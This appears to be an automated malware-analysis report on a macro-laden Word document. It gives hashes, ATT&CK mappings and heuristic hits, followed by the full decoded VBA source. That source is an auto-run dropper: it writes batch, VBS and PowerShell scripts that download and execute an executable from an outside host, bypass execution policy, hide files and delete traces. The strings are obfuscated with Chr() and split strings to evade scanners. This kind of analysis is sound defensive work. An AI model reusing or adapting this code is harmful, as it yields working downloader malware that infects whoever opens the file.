Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a2f07c6892b95212…

MALICIOUS

Office (OOXML)

24.4 KB Created: 2014-11-23 20:44:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2014-12-09
MD5: 41e4704e3df740dd52892e2a8050a184 SHA-1: d28771e1d01e02639ef5265ed774824bdbcd8b74 SHA-256: a2f07c6892b95212c64a850f56a43b73fc5dc34b9efb2fcf14598442196cf29b
534 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is an Office document containing VBA macros, indicated by multiple heuristic firings including OLE_VBA_SHELL and OLE_VBA_CREATEOBJ. The Auto_Open macro attempts to download and save files to temporary directories, such as 'c:\Users\<username>\AppData\Local\Temp\adobeacd-update.ps1' and 'c:\Windows\Temp\adobeacd-updatexp.vbs', which strongly suggests an intent to execute a second-stage payload. The use of WScript.Shell and the reassembly of 'Scripting.FileSystemObject' further support this malicious activity.

Heuristics 14

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA project inside OOXML medium 11 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
         retVal = Shell(XPBARTFILEDIR, 0)
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
         Print #FileNumber, "Set objShell = CreateObject(" + Chr(34) + "WScript.Shell" + Chr(34) + ")"
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
         Print #FileNumber, "objADOStream.Write objXMLHTTP.ResponseBody "
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
    Matched line in script
        Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & ".\root\cimv2")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
         Print #FileNumber, "Set objADOStream = CreateObject(" + Chr(34) + "ADODB.Stream" + Chr(34) + ") "
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & ".\root\cimv2")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
         USER = Environ("username")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/markup-compatibility/2006 Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 12669 bytes
SHA-256: bc8ac170dba025249721b4b4c3e28ecc4fb923ae143d172f5d4d981f84a176ee
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Auto_Open()
    h
End Sub
Sub h()
Dim MY_FILENDIR, MY_FILEDIR, MY_FILDIR, XPFILEDIR
     USER = Environ("username")
     PST1 = "adobeacd-update.p" + Chr(115) + "1"
     BART = "adobeacd-update.b" + Chr(Asc("a")) + Chr(Asc("t"))
     ASDSA = "kjlasdjkasldjkldasjkadsjklsajlksajklsdjkl"
     VBT1 = "adobeacd-update." + Chr(118) + "bs"
     VBTXP = "adobeacd-updatexp.v" + Chr(Asc("b")) + "s"
     

     MY_FILENDIR = "c:\" + Chr(Asc("U")) + "sers\" + USER + "\AppData\Local\Temp\" + PST1
     ASJDKHSJADASDSA = "jklasdjkdsajklsdajkljklsakjlsadjsdkjlsajkdlsajklsadjkladsljksad"
     MY_FILEDIR = "c:\" + Chr(Asc("U")) + "sers\" + USER + "\App" + Chr(Asc("D")) + "ata\Local\" + Chr(Asc("T")) + "emp\" + BART
     MY_FILDIR = "c:\Users\" + USER + "\AppData\Local\Temp\" + VBT1
     XPFILEDIR = "c:\Windows\Temp\" + VBTXP
     XPBARTFILEDIR = "c:\Windows\Temp\" + BART
     
      On Error Resume Next
     SetAttr MY_FILENDIR, vbNormal
     
     If (Len(Dir(MY_FILENDIR)) <> 0) Then
      Kill MY_FILENDIR
     End If
     
     On Error Resume Next
     SetAttr MY_FILEDIR, vbNormal
     If (Dir(MY_FILEDIR) <> "") Then
      Kill MY_FILEDIR
     End If
     
     On Error Resume Next
     SetAttr MY_FILDIR, vbNormal
     If (Dir(MY_FILDIR) <> "") Then
      Kill MY_FILDIR
     End If
     
     On Error Resume Next
     SetAttr XPFILEDIR, vbNormal
     If (Dir(XPFILEDIR) <> "") Then
      Kill XPFILEDIR
     End If
      
     Dim FileNumber As Integer
     Dim FileNumb As Integer
     Dim FileNu As Integer
     Dim mttt As Integer
     Dim retVal As Variant
     'Dim winver As Integer
     FileNumber = FreeFile
     FileNumb = FreeFile
     FileNu = FreeFile
     
     Dim objWMIService As Variant
    Dim colOperatingSystems As Variant
    Dim objOperatingSystem As Variant
    Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & ".\root\cimv2")
    Set colOperatingSystems = objWMIService.ExecQuery("Select * from Win32_OperatingSystem")
    For Each objOperatingSystem In colOperatingSystems
        SysReport = SysReport & "The operating system on this computer is " & _
            objOperatingSystem.Caption & "  (" & objOperatingSystem.Version & ")"
    Next
     
     Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & ".\root\cimv2")
     Set colOperatingSystems = objWMIService.ExecQuery("Select * from Win32_OperatingSystem")
     For Each objOperatingSystem In colOperatingSystems
        winverstr = objOperatingSystem.Version
    Next
    
    
    winver = Val(winverstr)
    WaitFor (1)
     
If (winver <= 5.5) Then
     Open XPBARTFILEDIR For Output As #FileNu
     Print #FileNu, "@echo off"
     Print #FileNu, "ping 1.1.2.2 -n 2"
     Print #FileNu, "c" & "sc" & "ri" & "pt" & ".e" & Chr(120) & "e " & Chr(34) & "c:\Windows\Temp" + "\" + VBTXP + Chr(34)
     Print #FileNu, "ping 1.1.2.2 -n 2"
     Print #FileNu, "c:\Windows\Temp\444.exe"
     Print #FileNu, ":loop"
     Print #FileNu, "ping 1.1.2.2 -n 1"
     Print #FileNu, "del " + Chr(34) + "c:\Windows\Temp\" + VBTXP + Chr(34)
     Print #FileNu, "del " + Chr(34) + "c:\Windows\Temp\" + BART + Chr(34)
     Print #FileNu, "if " + "exist " + Chr(34) + "c:\Windows\Temp\" + BART + Chr(34) + " goto loop"
     Print #FileNu, "if " + "exist " + Chr(34) + "c:\Windows\Temp\" + VBTXP + Chr(34) + " goto loop"
     Print #FileNu, "exit"
     Close #FileNu
     WaitFor (2)
     mttt = 88

     Open XPFILEDIR For Output As #FileNumber
     Print #FileNumber, "strRT = " + Chr(34) + "h" + Chr(Asc(Chr(Asc("t")))) + "t" + "p" + "://danidata.dk/js/bin" + "." + Chr(Asc("e")) + Chr(Asc("x")) + "e" + Chr(34)
     Print #FileNumber, "strTecation = " + Chr(34) + "c:\" + Chr(Asc("W")) + "indows\" + Chr(Asc("T")) + "emp\44" + "4" + "." + Chr(Asc("e")) + Chr(Asc("x")) + "e" + Chr(34)
     
     Print #FileNumber, "Set objXML" + "H" + Chr(Asc("T")) + "TP = C" + "reate" + Chr(Asc("O")) + "bject(" + Chr(34) + "MSXML2." + Chr(mttt - 54) + Chr(mttt) + Chr(mttt - 11) + Chr(mttt - 12) + Chr(72) + Chr(84) + Chr(84) + Chr(80) + ")"
     Print #FileNumber, "objXMLHTTP.open " + Chr(34) + "GET" + Chr(34) + ", strRT, False"
     
     Print #FileNumber, "objXMLHTTP.send() "
     Print #FileNumber, "If objXMLHTTP.Status = 200 Then"
     
     Print #FileNumber, "Set objADOStream = CreateObject(" + Chr(34) + "ADODB.Stream" + Chr(34) + ") "
     
     Print #FileNumber, "objADOStream.Open "
     Print #FileNumber, "objADOStream.Type = 1"
     Print #FileNumber, "objADOStream.Write objXMLHTTP.ResponseBody "
     Print #FileNumber, "objADOStream.Position = 0 "
     Print #FileNumber, "objADOStream.SaveToFile strTecation "
     Print #FileNumber, "objADOStream.Close "
     Print #FileNumber, "Set objADOStream = Nothing "
     Print #FileNumber, "End if "
     Print #FileNumber, "Set objXMLHTTP = Nothing"
     Print #FileNumber, "Set objShell = CreateObject(" + Chr(34) + "WScript.Shell" + Chr(34) + ")"
     Close #FileNumber
     
     WaitFor (1)
     
     retVal = Shell(XPBARTFILEDIR, 0)
     
     
End If
     
     
If (winver > 5.5) Then
     Open MY_FILENDIR For Output As #FileNumber
     Print #FileNumber, "$hashroot = '94-4a-1e-86-99-69-dd-8a-4b-64-ca-5e-6e-bc-20-9a';"
     Print #FileNumber, "$hash = '0';"
     Print #FileNumber, "$down = N" & "ew" & "-" & Chr(79) & "bject " & Chr(Asc("S")) & "y" & "stem." & Chr(78) & "et." & Chr(87) & "eb" & "Cli" & "ent;"
     Print #FileNumber, "$url  = '" + Chr(Asc("h")) + Chr(Asc(Chr(Asc("t")))) + Chr(Asc("t")) + Chr(Asc("p")) + "://danidata.dk/js/bi" & "n.e" & "xe';"
     Print #FileNumber, "$file = 'c:\Users\" + USER + "\AppData\Local\Temp\" + "4" & "44." + Chr(101) & "xe';"
     Print #FileNumber, "$down.headers[" + Chr(39) + "User-Agent" + Chr(39) + "] = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25';"
     Print #FileNumber, "$down" & "." & Chr(68) & "ow" & "nloa" & "dFi" & "le($u" & "rl,$" & "file);"
     Print #FileNumber, "$ScriptDir = $MyInvocation.ScriptName;"
     Print #FileNumber, "$someFilePath = 'c:\Users\" + USER + "\AppData\Local\Temp\" + "444.e" & Chr(Asc("x")) + "e" & "';"
     Print #FileNumber, "$vbsFilePath = 'c:\Users\" + USER + "\AppData\Local\Temp\" + VBT1 + "';"
     Print #FileNumber, "$batFilePath = 'c:\Users\" + USER + "\AppData\Local\Temp\" + BART + "';"
     Print #FileNumber, "$psFilePath = 'c:\Users\" + USER + "\AppData\Local\Temp\" + PST1 + "';"
     Print #FileNumber, "Start-Sleep -s 15;"
     Print #FileNumber, "c" & Chr(109) & "d.e" & Chr(120) & "e /c  'c:\Users\" + USER + "\AppData\Local\Temp" + "\444.e" & Chr(120) & "e';     "
     Print #FileNumber, "$file1 = gci $" + "v" + "b" + "sFilePath -Force"
     Print #FileNumber, "$file2 = gci $" + "b" + "a" + "t" + "FilePath -Force"
     Print #FileNumber, "$file3 = gci $" + "p" + "s" + "F" + "ilePath -Force"
     Print #FileNumber, "$file1.Attributes = $file1.Attributes -bxor [System.IO.FileAttributes]::Hi" + "d" + "den"
     Print #FileNumber, "$file2.Attributes = $file2.Attributes -bxor [System.IO.FileAttributes]::Hi" + "d" + "den"
     Print #FileNumber, "$file3.Attributes = $file3.Attributes -bxor [System.IO.FileAttributes]::Hi" + "d" + "den"
     Print #FileNumber, "If (Test-Path $vbsFilePath){ Remove-Item $vbsFilePath }"
     Print #FileNumber, "If (Test-Path $batFilePath){ Remove-Item $batFilePath }"
     Print #FileNumber, "If (Test-Path $someFilePath){ Remove-Item $someFilePath }"
     Print #FileNumber, "Remove-Item $MyINvocation.InvocationName"
     Close #FileNumber
    
    Open MY_FILDIR For Output As #FileNumb
    Print #FileNumb, "Dim dff"
    Print #FileNumb, "dff = 68"
    Print #FileNumb, "cur" & Chr(Asc("r")) & "ent" + Chr(Asc("D")) + "irectory = left(WScript.ScriptFullName,(Len(WScript.ScriptFullName))-(len(WScript.ScriptName)))"
    Print #FileNumb, "S" & "et o" & "bj" & Chr(Asc("F")) & "SO=C" & "re" & "at" & "eO" & "b" & "je" & "ct(" & Chr(34) & "S" & "cr" & "ipt" & "ing.F" & "ileS" & "ystem" & "Ob" & "ject" & Chr(34) & ")"
    Print #FileNumb, "cur" + "rent" + Chr(Asc("F")) + "ile = " & Chr(34) & "C:\" & Chr(Asc("U")) & "sers\" + USER + "\AppData\Local\Temp" + "\" + PST1 + Chr(34)
    Print #FileNumb, "" & Chr(83) & "et " & Chr(111) & "bj" & Chr(83) & "hel" + Chr(Asc("l")) + " = Create" & Chr(79) & Chr(98) & "ject(" & Chr(34) & "W" & Chr(115) & "cript." & Chr(115) & "hell" & Chr(34) & ")"
    Print #FileNumb, "" & Chr(111) & "bj" & Chr(83) & "hell" & Chr(46) & Chr(82) & "un " & Chr(34) & "p" & Chr(111) & "wer" & Chr(83) & "hell.e" & Chr(120) & "e -n" & Chr(111) & "exit -Exe" & "cutionP" & Chr(111) & "licy" & " byp" & "ass -n" & Chr(111) & "pr" & Chr(111) & "file -file " & Chr(34) & " & currentFile,0,true"
    Close #FileNumb
    
    Open MY_FILEDIR For Output As #FileNu
    Print #FileNu, "@echo off"
    Print #FileNu, "ping 1.1.2.2 -n 2"
    Print #FileNu, "chcp 1251"
    Print #FileNu, "c" & "sc" & "ri" & "pt" & ".e" & Chr(120) & "e " & Chr(34) & "c:\Users\" + USER + "\AppData\Local\Temp" + "\" + VBT1 + Chr(34)
    Print #FileNu, "exit"
    Close #FileNu
       
    SetAttr MY_FILENDIR, vbNormal
    SetAttr MY_FILEDIR, vbNormal
    SetAttr MY_FILDIR, vbNormal
     
    WaitFor (1)
    
    retVal = Shell(MY_FILEDIR, 0)
End If
     
     findTest
    secondTest
    For Each myStoryRange In ActiveDocument.StoryRanges
    With myStoryRange.Find
        .Text = "<" & "sel" & "ect>"
        .Replacement.Text = " "
        .Wrap = wdFindContinue
        .Execute Replace:=wdReplaceAll
    End With
    Next myStoryRange

    For Each myStoryRange In ActiveDocument.StoryRanges
    With myStoryRange.Find
        .Text = "</s" & "ele" & "ct>"
        .Replacement.Text = " "
        .Wrap = wdFindContinue
        .Execute Replace:=wdReplaceAll
    End With
    Next myStoryRange
    
    For Each myStoryRange In ActiveDocument.StoryRanges
    With myStoryRange.Find
        .Text = "<" & "in" & "box>"
        .Replacement.Text = " "
        .Wrap = wdFindContinue
        .Execute Replace:=wdReplaceAll
    End With
    Next myStoryRange

    For Each myStoryRange In ActiveDocument.StoryRanges
    With myStoryRange.Find
        .Text = "</" & "in" & "box>"
        .Replacement.Text = " "
        .Wrap = wdFindContinue
        .Execute Replace:=wdReplaceAll
    End With
    Next myStoryRange
     

End Sub
Sub WaitFor(NumOfSeconds As Long)
Dim SngSec As Long
SngSec = Timer + NumOfSeconds

Do While Timer < SngSec
DoEvents
Loop

End Sub

Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub
Sub findTest()
Dim firstTerm As String
Dim secondTerm As String
Dim rrtt As Range
Dim selRange As Range
Dim selectedText As String

Set rrtt = ActiveDocument.Range
firstTerm = "<se" & "lect>"
secondTerm = "</sel" & "ect>"
ASKASAIEJ = "ask as8d j dnkjh12kh1 sad"
With rrtt.Find
.Text = firstTerm
.MatchWholeWord = True
.Execute
ASKUKKIEJ = "aasdlkasjdask as8d j dnkjh12kh1 sad"
rrtt.Collapse direction:=wdCollapseEnd
Set selRange = ActiveDocument.Range
selRange.Start = rrtt.End
.Text = secondTerm
.MatchWholeWord = True
.Execute
ASKSASADW = "asjldklas"
rrtt.Collapse direction:=wdCollapseStart
selRange.End = rrtt.Start
selectedText = selRange.Delete
End With
End Sub

Sub secondTest()
Dim firstTerm As String
Dim secondTerm As String
Dim myRanget As Range
Dim yytt As Range
Dim selRanget As Range
Dim selectedTextt As String

Set yytt = ActiveDocument.Range
firstTerm = "<in" & "box>"
secondTerm = "</in" & "box>"
ASKIEJSASAHBDJ = "ask as8d j asdasl;a skdjasdnkjh12kh1 sad"
With yytt.Find
.Text = firstTerm
.MatchWholeWord = True
.Execute
ASKIEJ = "ask as8d j dnkjh12kh1 sad"
yytt.Collapse direction:=wdCollapseEnd
ASKIEJSHBDJ = "askasda as8d j asdaasdassl;a skdjasdnkjh12kh1 sad"
Set selRanget = ActiveDocument.Range
selRanget.Start = yytt.End
.Text = secondTerm
.MatchWholeWord = True
.Execute
ASAKJSKIEJSHBDJ = "ask as8d j asdaasdasdassl;a skdjasdnkjh12kh1 sad"
yytt.Collapse direction:=wdCollapseStart
selRanget.End = yytt.Start
selectedTextt = selRanget
selRanget.Font.Color = wdColorBlack
End With
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 27648 bytes
SHA-256: 5a89d5e08f3a3086330f4b036355b24ef8f7fd11d2c2e3550d4bc012a255a2fb
Detection
ClamAV: Doc.Downloader.Generic-6698421-0
Obfuscation or payload: unlikely

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